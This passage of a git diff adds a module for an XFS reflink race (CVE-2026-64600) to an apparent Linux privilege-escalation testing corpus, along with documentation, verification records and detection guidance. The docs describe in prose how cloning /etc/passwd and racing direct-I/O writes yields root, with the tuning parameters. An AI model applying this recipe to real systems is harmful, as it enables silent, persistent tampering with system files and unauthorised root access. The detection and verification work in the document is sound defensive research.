— a nine-year window. Fixed by +`2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK"), +merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39** / +**6.12.96**. The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 lines have no +upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD +published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV. + +🟡 **Trigger (reconstructed) — deliberately under-driven, and VM-VERIFIED.** +Unlike the corpus's other race +modules, `detect()` is **not** a pure version gate: this bug's reachability is +safely observable, so it pairs the three-branch version table with a **real +storage precondition** — a writable directory on a mounted XFS filesystem, +identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` and deliberately **not** by +a successful `FICLONE`, since btrfs implements `FICLONE` too and is unaffected. +No such directory → `PRECOND_FAIL`, the correct verdict on a stock Debian/Ubuntu +host. Under `--active` it confirms `reflink=1` empirically; override with +`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it warns explicitly +that RHEL/Oracle/Rocky/Alma backport **without bumping the upstream version** (a +patched el8 kernel still reports `4.18.0-*`), so the verdict reflects the +upstream base version only — check the RHSA/ELSA/ALSA/RLSA erratum. + +`exploit()` forks an isolated child that creates a private `mkdtemp` scratch +directory and works **only on two files it owns**: **(A)** it writes a donor, +`FICLONE`-clones it, and confirms the shared extent via **`FIEMAP_EXTENT_SHARED`** +plus an `O_DIRECT` gate — a read-only, deterministic observation that the exact +refcount state the bug misjudges exists here; then **(B)** it races **8** +concurrent `O_DIRECT` 4 KiB writes against the clone with **2** +`ftruncate`/`fdatasync` helpers cycling the `ILOCK`, for at most **16 rounds / +2 s**, and stops — reading the donor back with `O_DIRECT`, because a buffered read +would be served from the page cache the corruption bypasses and would hide a win. +It is deliberately under-driven against the public PoC's 32 writers and 8 +helpers, and it **never clones or targets a file it does not own**: the step that +yields root — reflink-cloning `/etc/passwd` and racing writes onto *its* shared +blocks, then `su` — persistently rewrites a system file on disk with no undo, and +is documented but **not bundled**. Always returns `EXPLOIT_FAIL`. + +Note the safety inversion versus the other reconstructed triggers: a won race +here corrupts **file data, not kernel memory**, so there is no oops, no KASAN +report and no panic path, and the blast radius is 4 KiB of a scratch file the +module then deletes. `refluxfs` therefore carries safety rank **55** — far above +`bad_epoll` (12) and `ghostlock` (11) — and `--cleanup` sweeps any +`skeletonkey-refluxfs-*` directories left by an interrupted run. + +Detection gets a genuinely unusual treatment, because the obvious rule is the one +that fails. auditd/sigma anchor on the two operations the attack cannot avoid — +`ioctl` request **`0x40049409`** (`FICLONE`, matched exactly so it does not flood) +and `openat` with `O_DIRECT` (`& 0x4000`) — plus the post-exploitation euid-0 +transition; falco adds the high-fidelity "reflinked a file owned by another user" +condition. And for once the **yara** rule is the right tool for a kernel bug: +since FIM is structurally blind here, it matches the *on-disk artifact* — a +`passwd` file with a password-less root entry or an added uid-0 account. The +module docs also recommend content-hash-vs-`mtime` drift monitoring, which is a +near-zero-false-positive detector for this entire bug class. + +14 new `detect()` unit rows cover the backport boundaries, the 4.11 introduction +gate, the el8/el9 upstream bases, the "newer than some entries but not all" case, +and the no-XFS `PRECOND_FAIL` path (**148 tests total, 0 failures**). + +**VM-verified 2026-07-23 — the corpus's first rpm-family verification**, taking +the empirical count to **29 of 41 CVEs**. Target: **Rocky Linux 9.8 / +`5.14.0-687.10.1.el9_8.0.1.x86_64`** under qemu/KVM with 6 vCPUs. The stock +GenericCloud layout needed **no provisioner changes at all** — root is +`/dev/vda4` XFS with `reflink=1` out of the box, which is precisely why this CVE +hits the RHEL family so broadly. `detect()` returned `VULNERABLE`, the +rpm-family vendor-backport caveat fired, the `--active` FICLONE witness confirmed +reflink, phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent, the +scratch dir self-cleaned, and the source built clean on el9 gcc. + +The **underlying bug was separately confirmed winnable** on that kernel using a +VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers, +60 s — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, first +divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT` write +landed on a still-shared block and rewrote the donor's on-disk bytes — the +arbitrary-overwrite primitive observed directly, contained to files the test user +owned, with no oops and no dmesg output (as expected for a data-oriented bug). + +Worth stating plainly, because it is the whole point of the design: the shipped +trigger **did not win** in its 2 s budget on a kernel that is provably +vulnerable. That is intended under-driving, not a defect — and it is the concrete +reason a non-win must **never** be recorded as "patched". Trust the version gate +and the vendor erratum. + +Credit: **Qualys Threat Research Unit** (blog by **Saeed Abbasi**; the technical +advisory credits model-assisted kernel analysis performed with **Anthropic**), +and the upstream XFS maintainers who fixed it. + +--- + ## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499) Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security, diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index 1322733..ece69d6 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -34,3 +34,4 @@ {"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} {"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} {"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} +{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} diff --git a/docs/index.html b/docs/index.html index f8c9296..aba5cc2 100644 --- a/docs/index.html +++ b/docs/index.html @@ -4,9 +4,9 @@ SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection - + - + @@ -56,14 +56,14 @@
- v0.9.11 — released 2026-06-08 + v0.9.14 — released 2026-07-23

SKELETONKEY

- One binary. 45 Linux LPE modules covering 40 CVEs — - every year 2016 → 2026. 28 of 40 confirmed against + One binary. 46 Linux LPE modules covering 41 CVEs — + every year 2016 → 2026. 29 of 41 confirmed against real Linux kernels in VMs. SOC-ready detection rules in four SIEM formats. MITRE ATT&CK + CWE + CISA KEV annotated. --explain gives a one-page operator briefing per CVE. @@ -81,8 +81,8 @@

-
0modules
-
0✓ VM-verified
+
0modules
+
0✓ VM-verified
0★ in CISA KEV
0detection rules
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)

CISA KEV prioritized

- 13 of 40 CVEs in the corpus are in CISA's Known Exploited + 13 of 41 CVEs in the corpus are in CISA's Known Exploited Vulnerabilities catalog — actively exploited in the wild. Refreshed on demand via tools/refresh-cve-metadata.py.

@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)
-

28 modules empirically verified

+

29 modules empirically verified

tools/verify-vm/ spins up known-vulnerable kernels (stock distro + mainline from kernel.ubuntu.com), runs --explain --active per module, and records the - verdict. 28 of 40 CVEs confirmed against + verdict. 29 of 41 CVEs confirmed against real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; --list shows ✓ per module. @@ -309,7 +309,7 @@ uid=0(root) gid=0(root)

-

40 CVEs across 10 years. ★ = actively exploited (CISA KEV).

+

41 CVEs across 10 years. ★ = actively exploited (CISA KEV).

@@ -360,6 +360,7 @@ uid=0(root) gid=0(root) nft_catchall bad_epoll ghostlock + refluxfs

@@ -420,7 +421,7 @@ uid=0(root) gid=0(root)

🎓

Researchers / CTF

- 40 CVEs, 10-year span, each with the original PoC author + 41 CVEs, 10-year span, each with the original PoC author credited and the kernel-range citation auditable. --explain shows the reasoning chain; detection rules let you practice both sides. Source is the documentation. @@ -517,7 +518,7 @@ uid=0(root) gid=0(root)

shipped
    -
  • 28 of 40 CVEs empirically verified in real Linux VMs
  • +
  • 29 of 41 CVEs empirically verified in real Linux VMs
  • kernel.ubuntu.com/mainline/ kernel fetch path — unblocks pin-not-in-apt targets
  • Per-module verified_on[] table baked into the binary
  • --explain mode — one-page operator briefing per CVE
  • diff --git a/modules/refluxfs_cve_2026_64600/MODULE.md b/modules/refluxfs_cve_2026_64600/MODULE.md new file mode 100644 index 0000000..e0e1e15 --- /dev/null +++ b/modules/refluxfs_cve_2026_64600/MODULE.md @@ -0,0 +1,211 @@ +# refluxfs — CVE-2026-64600 + +"RefluXFS" — a time-of-check/time-of-use race in the XFS **reflink +copy-on-write** path that lets **any unprivileged local user overwrite the +on-disk contents of any file they can read**, on any XFS volume mounted with +`reflink=1` that they can write to. No user namespace, no capability, no crafted +filesystem image, no kernel offsets. It has been present since reflink direct-I/O +CoW landed in **4.11 (2017)** — a nine-year window. + +This is the corpus's first XFS module, and its first **data-oriented** kernel +bug: the primitive is an arbitrary *file content* overwrite, not memory +corruption. + +## The bug + +`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork +extent map under `ILOCK`. To allocate a transaction it must wait for log space, +so `xfs_reflink_fill_cow_hole()` (`fs/xfs/xfs_reflink.c`) **drops `ILOCK`**. On +re-acquiring it, the code re-queries the refcount btree at the **original** +physical block number (`imap->br_startblock`) — and **never re-reads the data +fork**. + +A second `O_DIRECT` writer, holding only the coarser `IOLOCK`, can complete an +entire CoW cycle inside that window: allocate block Y, write it, and remap via +`xfs_reflink_end_cow()`. The first writer's `imap` now points at a block owned +solely by the reflink **source**. Its stale refcount lookup returns `1`, it +concludes the block is private, and writes to it in place — landing attacker +data on the source file's on-disk blocks. + +Three consequences follow, and they drive the whole module design: + +1. **No offsets, no ROP, no KASLR/SMEP/SMAP.** There is nothing to port per + kernel build. Qualys is explicit that SELinux enforcing, container + boundaries and seccomp are equally irrelevant. +2. **The victim's inode is never written.** The data is applied to the shared + physical block *underneath* it, so `mtime`/`ctime`/size do not change and + there is no kernel log output. **File-integrity monitoring does not fire.** +3. **It persists across reboots**, because the change is on disk. + +The public demonstration (RHEL 10.2) reflink-clones `/etc/passwd` into +`/var/tmp`, races concurrent direct-I/O writes against the clone, thereby +rewriting `/etc/passwd` itself to strip root's password, and runs `su`. + +## Affected range + +| | | +|---|---| +| Introduced | **4.11** (2017-02, commit `3c68d44a2b49`, "xfs: allocate direct I/O COW blocks in iomap_begin") | +| Fixed upstream | commit `2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK") — merged **2026-07-16**, released **7.2-rc4** | +| Stable backports | **7.1.4** (`e705d81a7193`) · **6.18.39** (`206c09b04dc5`) · **6.12.96** (`44f891bc0889`) | +| Affected, no upstream fix | 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines (per the CNA record at time of writing) | +| Not affected | < 4.11 — includes RHEL/CentOS **7** (3.10 predates reflink) | +| NVD class | CWE-362 (race) → CWE-367 (TOCTOU). NVD had published **no CWE and no CVSS vector** at time of writing | +| CISA KEV | no (disclosed 2026-07-22) | + +**The exposure is distro-shaped, not kernel-shaped.** What matters is whether +XFS+reflink is the installer default: + +| Exploitable out of the box | Not reachable by default | +|---|---| +| RHEL 8/9/10 · CentOS Stream 8/9/10 · Rocky/AlmaLinux 8/9/10 · Oracle Linux 8/9/10 (RHCK + UEK R6/R7/8) · CloudLinux 8/9/10 · Fedora Server ≥ 31 · Amazon Linux 2023 (and AL2 AMIs from 2022-12) | Debian · Ubuntu · Fedora Workstation · SLES · openSUSE · Arch (ext4/btrfs defaults — unless an XFS volume was added deliberately) | + +### ⚠️ The version gate has a real blind spot here + +The affected population is overwhelmingly **RHEL-family**, and those vendors +backport fixes **without bumping the upstream base version** — a patched RHEL 8 +kernel still reports `4.18.0-xxx.el8`. An upstream-version gate cannot see that. + +So on rpm-family hosts, a `VULNERABLE` verdict is a statement about the +**upstream base version only**. `detect()` prints that warning explicitly rather +than implying it checked the erratum. Confirm against the vendor advisory +(RHSA / ELSA / ALSA / RLSA) before acting on it. + +## Trigger / detection + +Unlike a pure kernel race, this bug's reachability **can** be established safely +and deterministically, so `detect()` is a version gate **plus a real +precondition probe**: + +- **Passive** — is there a writable directory on a mounted XFS filesystem? + Identified via `statfs(2)` `f_type == XFS_SUPER_MAGIC`, **not** by a + successful `FICLONE`, because btrfs implements `FICLONE` too and is + unaffected. No such directory → `PRECOND_FAIL`, the correct verdict on a + stock Debian/Ubuntu host. +- **Active** (`--active` / `--auto`) — confirms `reflink=1` empirically by + cloning and removing two 4 KiB files, rather than assuming the `mkfs.xfs` + default. `reflink=0` → no shared extents can exist → `PRECOND_FAIL`. +- **Override** — `SKELETONKEY_XFS_ASSUME_REFLINK=1` (force reachable) / `0` + (force unreachable), for when you know the fleet's storage layout better than + a local probe can. This also drives the unit tests. + +`exploit()` forks an isolated child that creates a private `mkdtemp` scratch +directory on the XFS mount and works **only on two files it owns**: + +- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and + confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is + shared (refcount > 1), plus that `O_DIRECT` opens succeed. That is a + read-only observation that the exact filesystem state the bug misjudges + exists here. Reflink cloning is an ordinary supported operation, so this + phase is safe on any kernel. +- **(B) hard-bounded window exercise** — races **8** concurrent `O_DIRECT` + 4 KiB writes against the clone while **2** helper threads cycle + `ftruncate`/`fdatasync` to keep the transaction allocator dropping `ILOCK` to + wait for log space, for at most **16 rounds / 2 s**. Then it stops and reads + the donor back **with `O_DIRECT`** — a buffered read would be served from the + page cache that the corruption bypasses, and would hide a win. + +It is **deliberately under-driven** (the public PoC uses 32 writers and 8 +helpers and grinds far longer) and, more importantly, it **never clones or +targets a file it does not own**. The step that makes this root — reflink-cloning +a root-owned file such as `/etc/passwd` and racing writes onto *its* shared +blocks — persistently rewrites a system file on disk **with no undo**, so it is +documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`. + +If the race *is* won, the module says so loudly: that is CVE-2026-64600 +confirmed present, empirically, with the damage contained to 4 KiB of the +operator's own scratch file. + +## VM verification (2026-07-23) + +Confirmed on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** under +qemu/KVM with 6 vCPUs — the stock GenericCloud installer layout, root on +`/dev/vda4` XFS with `reflink=1`, no provisioner changes: + +| Check | Result | +|---|---| +| `detect()` on real XFS | **VULNERABLE** (found writable XFS at `/var/tmp`) | +| rpm-family backport caveat | fired correctly | +| `--active` FICLONE witness | **reflink CONFIRMED** | +| Phase A shared extent | **`FIEMAP_EXTENT_SHARED` set** (btrfs never reported it; XFS does) | +| Phase A `O_DIRECT` gate | available | +| Shipped trigger (8 writers / 2 helpers / 2 s) | ran 16 rounds, **did not win** — *by design* | +| Scratch cleanup | no artifacts left | +| Build on el9 gcc | clean | + +**The underlying bug was separately confirmed winnable on that kernel**, using a +VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers, +60 s budget — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, with +the first divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT` +write landed on a still-shared block and rewrote the donor's on-disk bytes — +the arbitrary-overwrite primitive, observed directly, contained to files the +test user owned. + +Note carefully what this does and does not say. The shipped trigger **not** +winning in 2 s on a kernel that is provably vulnerable is exactly the designed +behaviour, and is the concrete reason a non-win must **never** be read as +"patched" — trust the version gate and the vendor erratum instead. + +### Why this ranks *above* the other reconstructed race triggers + +`bad_epoll` (12) and `ghostlock` (11) sit at the bottom of the `--auto` safety +ranking because a won race frees a live `struct file` or corrupts the kernel +**stack** — silent destabilisation or near-certain panic. Neither applies here. +RefluXFS corrupts **file data, not kernel memory**: there is no oops, no KASAN +report, no panic risk, and the blast radius of a win is one 4 KiB scratch file +we created and delete. That is why `refluxfs` carries safety rank **55** — it is +genuinely safe to run, and the ranking should say so. The VM run above bears +this out: the bug was won 4/4 times on a vulnerable kernel with no oops, no +dmesg output and no instability. + +## Detection — the obvious rule does not work + +**Do not rely on `-w /etc/passwd -p wa`, AIDE, or Tripwire for this CVE.** The +attacker never issues a `write(2)` against the victim inode; XFS applies their +data to the shared physical block beneath it. Size, `mtime` and `ctime` are +unchanged and nothing is logged. Anyone relying on FIM to catch a `passwd` +modification is blind to this bug *by construction*. + +What does work, in descending order of fidelity: + +1. **The reflink itself** — `ioctl(fd, FICLONE, srcfd)` where `FICLONE` is + `0x40049409`. auditd can match the request number **exactly**, so it does not + flood, and the attack cannot avoid it. Tune out `cp --reflink=auto`, podman + and `systemd-nspawn` image work. +2. **`O_DIRECT` opens** — `openat` flags `& 0x4000`. Also on the critical path, + and rare outside databases and backup agents. +3. **Content-vs-metadata drift** — because the bytes change while `mtime` does + not, hashing `/etc/passwd`, `/etc/shadow` and the setuid binaries on a + schedule and alerting when the *content* hash moves **without** a + corresponding `mtime` change is a near-zero-false-positive detector for this + whole bug class. + +The shipped rules cover all three: auditd/sigma anchor on the `FICLONE` request +number and `O_DIRECT` opens (correlated per-pid, plus the post-exploitation +euid-0 transition), falco adds the high-fidelity "reflinked a file owned by +another user" condition, and — unusually for a kernel bug — the **yara** rule is +genuinely the right tool, matching the on-disk artifact (`/etc/passwd` with a +password-less root entry or an added uid-0 account) precisely because there is +no metadata trace for FIM to find. + +## Fix / mitigation + +Upgrade the kernel (≥ 7.1.4 / 6.18.39 / 6.12.96 on-branch, or 7.2+; on +RHEL-family, the vendor erratum) **and reboot**. + +There is **no partial mitigation**, which is why `mitigate()` is `NULL`: +`reflink` is a superblock feature that cannot be disabled on a live filesystem, +`O_DIRECT` cannot be turned off, and — because this is a data-oriented bug — +SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all +irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden +around, isolate, or live-patch."* + +`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind +if a trigger run was killed mid-round; normal runs remove their own. + +## Credit + +Discovery and research: **Qualys Threat Research Unit (TRU)**; the blog post is +authored by **Saeed Abbasi**, and the technical advisory credits model-assisted +kernel analysis performed with **Anthropic**. Upstream fix `2f4acd0fcd86`. See +`NOTICE.md`. diff --git a/modules/refluxfs_cve_2026_64600/NOTICE.md b/modules/refluxfs_cve_2026_64600/NOTICE.md new file mode 100644 index 0000000..44b829e --- /dev/null +++ b/modules/refluxfs_cve_2026_64600/NOTICE.md @@ -0,0 +1,117 @@ +# NOTICE — refluxfs (CVE-2026-64600) + +## Vulnerability + +**CVE-2026-64600** — "RefluXFS", a **time-of-check/time-of-use race** in the +Linux kernel's XFS **reflink copy-on-write** path +(`fs/xfs/xfs_iomap.c` :: `xfs_direct_write_iomap_begin` → +`fs/xfs/xfs_reflink.c` :: `xfs_reflink_allocate_cow` / +`xfs_reflink_fill_cow_hole` / `xfs_find_trim_cow_extent`). + +A direct-I/O writer reads the data-fork extent map under `ILOCK`, then drops +`ILOCK` to allocate a transaction (waiting for log space). On re-acquiring the +lock it re-queries the refcount btree at the **original** physical block number +(`imap->br_startblock`) and never re-reads the data fork. A concurrent +`O_DIRECT` writer holding only the coarser `IOLOCK` can complete a full CoW +cycle in that window (allocate block Y, write, remap via +`xfs_reflink_end_cow()`), leaving the first writer's `imap` pointing at a block +now owned solely by the reflink **source**. The stale lookup returns refcount +`1`, the writer treats the block as private, and writes to it in place. + +The resulting primitive is **not memory corruption**: it is an arbitrary +overwrite of the **on-disk contents of any file the attacker can read**, on any +reflink-enabled XFS volume they can write to. It needs **no kernel offsets, no +ROP, and no KASLR/SMEP/SMAP bypass**, and it is unaffected by SELinux enforcing, +container boundaries or seccomp. Because the write is applied to the shared +physical block *beneath* the victim inode, the victim's `mtime`/`ctime`/size +never change and no kernel log output is produced — **file-integrity monitoring +does not detect it** — and the change persists across reboots. + +Reachable by **any unprivileged local user**: no capability, no user namespace, +no crafted filesystem image. Preconditions are only an XFS filesystem mounted +with `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) that the user can +write to, plus read access to the target file. NVD class: **CWE-362** (race) +yielding **CWE-367** (TOCTOU); NVD had published neither a CWE nor a CVSS vector +at time of writing. **Not** in CISA KEV (disclosed 2026-07-22). + +## Research credit + +- **Discovery and research** by the **Qualys Threat Research Unit (TRU)**, + published 2026-07-22 as "RefluXFS: A Linux Kernel Local Privilege Escalation + to Root in XFS (CVE-2026-64600)" + (), + authored by **Saeed Abbasi**, with the technical advisory at + and the disclosure + posted to oss-security + (). The advisory + credits model-assisted kernel analysis performed with **Anthropic**. + Qualys demonstrated end-to-end root on **RHEL 10.2** by reflink-cloning + `/etc/passwd` into `/var/tmp` and racing concurrent direct-I/O writes to + rewrite it in place. SKELETONKEY's trigger reconstruction uses only the + published shape of that race — the reflink clone, the concurrent `O_DIRECT` + writers, and the `ftruncate`/`fdatasync` helpers that widen the window — and + reuses no exploitation code; it never targets a file it does not own. +- **Introduced** in **4.11** (2017-02) by commit `3c68d44a2b49` ("xfs: allocate + direct I/O COW blocks in iomap_begin"). +- **Fixed upstream** by commit + `2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7` ("xfs: resample the data fork + mapping after cycling ILOCK"), merged **2026-07-16** for **7.2-rc4**; stable + backports **7.1.4** (`e705d81a7193`), **6.18.39** (`206c09b04dc5`) and + **6.12.96** (`44f891bc0889`). +- Authoritative version data: the Linux kernel CNA record + (, + `git.kernel.org/stable/c/`). The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / + 4.18 LTS lines are affected with no upstream stable fix published at time of + writing; RHEL-family, Oracle UEK and Amazon vendor branches backport the fix + **without bumping the upstream base version**, so the vendor erratum + (RHSA / ELSA / ALSA / RLSA) — not `uname -r` — is authoritative there. + +All credit for finding, analysing and exploiting this bug belongs to the Qualys +Threat Research Unit and to the upstream XFS maintainers who fixed it. +SKELETONKEY is the bundling and bookkeeping layer only. + +## SKELETONKEY role + +🟡 **Trigger (reconstructed) — VM-verified, and deliberately not weaponised.** +Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** +(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM: +`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms +reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent. +The underlying bug was separately confirmed winnable on that kernel — **4/4 +runs, first divergence after 69-494 rounds** in a 60 s budget — via a VM-only +harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`). +The shipped trigger, deliberately under-driven, did **not** win in its 2 s +budget on that same vulnerable kernel; that is intended, and is why a non-win +must never be read as "patched". See `MODULE.md` for the full result table. +This is the corpus's first XFS +module and its first **data-oriented** kernel bug — every other kernel entry +corrupts memory; this one corrupts file contents. + +`detect()` is a kernel-version gate over the three-branch backport table +(7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; introduced 4.11) **plus a +real precondition probe**: a writable directory on a mounted XFS filesystem, +identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` rather than by a working +`FICLONE`, since btrfs implements `FICLONE` too and is unaffected. Under +`--active` it confirms `reflink=1` empirically. Override with +`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it explicitly warns +that the upstream-version verdict cannot see a vendor backport. + +`exploit()` forks an isolated child that works only inside a private `mkdtemp` +scratch directory, on two files it owns: it confirms a shared extent via +`FIEMAP_EXTENT_SHARED` (a safe, read-only observation of the refcount state the +bug misjudges), then races a hard-bounded 8 writers / 2 helpers / 16 rounds / 2 s +window and stops, reading the donor back with `O_DIRECT` to report divergence +honestly. + +It is **deliberately under-driven** (the public PoC uses 32 writers and 8 +helpers) and **never clones or targets a file it does not own**. The escalation +step — reflink-cloning a root-owned file such as `/etc/passwd` and racing writes +onto its shared blocks, then `su` — persistently rewrites a system file on disk +with no undo, and is documented in `MODULE.md` but **not bundled**. It always +returns `EXPLOIT_FAIL` and never claims root it did not get. + +Unlike the corpus's other reconstructed race triggers, a won race here cannot +touch kernel memory: there is no oops, no KASAN report and no panic risk, and +the blast radius is 4 KiB of our own scratch file. That is why it ranks **55** +in `--auto` safety rather than at the bottom alongside `bad_epoll` (12) and +`ghostlock` (11). diff --git a/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c b/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c new file mode 100644 index 0000000..0968930 --- /dev/null +++ b/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c @@ -0,0 +1,1075 @@ +/* + * refluxfs_cve_2026_64600 — SKELETONKEY module + * + * CVE-2026-64600 — "RefluXFS", a time-of-check/time-of-use race in the XFS + * reflink copy-on-write path (fs/xfs/xfs_iomap.c :: xfs_direct_write_iomap_begin + * → fs/xfs/xfs_reflink.c :: xfs_reflink_allocate_cow / xfs_reflink_fill_cow_hole + * / xfs_find_trim_cow_extent). A direct-I/O writer reads the data-fork extent + * map under ILOCK, then DROPS ILOCK to allocate a transaction (i.e. to wait for + * log space). On re-acquiring the lock it re-queries the refcount btree at the + * ORIGINAL physical block number (imap->br_startblock) and never re-reads the + * data fork. A second O_DIRECT writer — holding only the coarser IOLOCK — can + * complete an entire CoW cycle in that window (allocate block Y, write it, + * remap via xfs_reflink_end_cow), leaving the first writer's imap pointing at a + * block that is now owned solely by the reflink SOURCE. The stale lookup returns + * refcount == 1, the writer concludes the block is private, and writes to it in + * place — landing attacker data on the source file's on-disk blocks. + * + * The primitive is therefore NOT memory corruption: it is an arbitrary + * overwrite of the on-disk contents of any file the attacker can READ on a + * reflink-enabled XFS volume. That has three consequences worth stating plainly, + * because they drive every design decision below: + * 1. No KASLR/SMEP/SMAP/offsets/ROP are involved, so there is nothing to + * port per kernel build and no --full-chain offset table entry to fill. + * Qualys notes SELinux enforcing, container boundaries and seccomp are all + * equally irrelevant. + * 2. The write is applied UNDER the victim inode. No write(2) is ever issued + * against it, so its mtime/ctime/size do not change — file-integrity + * monitoring and `-w /etc/passwd -p wa` auditd watches DO NOT FIRE. See + * the detection-rule commentary at the bottom of this file. + * 3. The corruption is persistent on disk and survives reboot. + * The public demonstration (RHEL 10.2) reflink-clones /etc/passwd into /var/tmp, + * races concurrent direct-I/O writes against the clone, and thereby rewrites + * /etc/passwd itself to strip root's password → `su` → root. + * + * Reachable by ANY unprivileged local user: no capability, no user namespace, + * no crafted/mountable filesystem image, no special CONFIG beyond CONFIG_XFS_FS + * built with reflink. The only preconditions are an XFS filesystem mounted with + * reflink=1 (the mkfs.xfs default since xfsprogs 5.1) that the user can write + * to, plus read access to whatever file is being targeted. That makes the + * exposed population distro-shaped rather than kernel-shaped: RHEL 8/9/10, + * CentOS Stream 8/9/10, Rocky/AlmaLinux 8/9/10, Oracle Linux 8/9/10 (RHCK + + * UEK), CloudLinux 8/9/10, Fedora Server >= 31 and Amazon Linux 2023 (plus AL2 + * AMIs from 2022-12) ship XFS+reflink by DEFAULT and are exploitable out of the + * box; Debian, Ubuntu, Fedora Workstation, SLES, openSUSE and Arch default to + * ext4/btrfs and are NOT reachable unless an XFS volume was added deliberately. + * RHEL/CentOS 7 was never affected (kernel 3.10 predates reflink entirely). + * + * Introduced in 4.11 (2017-02, commit 3c68d44a2b49 "xfs: allocate direct I/O + * COW blocks in iomap_begin") — a nine-year exposure window. Fixed by + * 2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7 ("xfs: resample the data fork + * mapping after cycling ILOCK"), merged 2026-07-16 for 7.2-rc4; the CNA record + * lists stable backports 7.1.4 / 6.18.39 / 6.12.96 (commits e705d81a7193, + * 206c09b04dc5, 44f891bc0889). Class is CWE-362 (race) yielding CWE-367 + * (TOCTOU); NVD had published neither a CWE nor a CVSS vector at time of + * writing, and the CVE is NOT in CISA KEV (disclosed 2026-07-22). Discovered by + * the Qualys Threat Research Unit; the advisory credits model-assisted kernel + * analysis done with Anthropic. See NOTICE.md. + * + * STATUS: 🟡 TRIGGER (reconstructed) — VM-VERIFIED, and deliberately NOT + * weaponised. Confirmed 2026-07-23 on Rocky Linux 9.8 / + * 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with + * reflink=1) under qemu/KVM, 6 vCPUs: detect() returns VULNERABLE, the + * --active FICLONE witness confirms reflink, and phase A observes + * FIEMAP_EXTENT_SHARED on a real XFS shared extent. The UNDERLYING BUG was + * separately confirmed winnable on that kernel — 4/4 runs, first divergence + * after 69-494 rounds inside a 60s budget — using a VM-only harness driven at + * the public PoC's parameters (32 writers / 8 helpers; see + * tools/verify-vm/refluxfs_verify.c). The SHIPPED trigger below is + * deliberately under-driven (8 writers / 2 helpers / 2s) and did NOT win in + * that budget on the same vulnerable kernel — that is the intended behaviour, + * not a defect, and is why a non-win must never be read as "patched". + * exploit() forks an isolated child that works ONLY inside a private scratch + * directory it creates on an XFS mount, on two files it owns, in two phases: + * (A) DETERMINISTIC + SAFE — writes a donor file, FICLONE-clones it, and + * confirms via FIEMAP that the clone's extent carries + * FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that + * the refcount-btree state the bug misjudges (refcount > 1 on a shared + * extent) actually exists on this filesystem, and that O_DIRECT opens + * succeed — i.e. the vulnerable path is reachable here. Reflink cloning + * is an 